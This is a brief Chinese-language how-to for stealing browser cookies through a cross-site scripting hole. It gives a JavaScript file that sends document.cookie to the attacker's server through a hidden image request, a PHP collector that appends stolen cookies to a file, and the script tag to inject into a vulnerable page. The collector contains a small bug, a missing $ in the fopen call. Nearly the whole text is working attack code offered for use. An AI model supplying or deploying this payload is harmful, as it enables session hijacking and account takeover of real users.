在你服务器的html目录下创建joke文件夹;
在joke文件夹中创建joke.js 和joke.php
joke.js 创建img标签,将它的src属性指向另一个脚本joke.php,这里关键的一点是:将页面的cookie作为参数附加到url后面
joke.js代码如下:
var img = document.createElement(\'img\'); img.width = 0; img.height = 0; img.src = \'http://ip/joke/joke.php?joke=\'+encodeURIComponent(document.cookie);
joke.php解析请求里面的joke参数(即用户的cookie),然后保存起来
joke.php代码如下:
<?php @ini_set(\'display_errors\',1); $str = $_GET[\'joke\']; $filePath = "joke.php"; if(is_writable($filePath)==false){ echo "can\'t write"; }else{ $handler = fopen(filePath, "a"); fwrite($handler, $str); fclose($handler); } ?>
找到XSS漏洞后,输入如下内容:
<script src="http://ip/joke/joke.js"></script>
#ip为你的服务器ip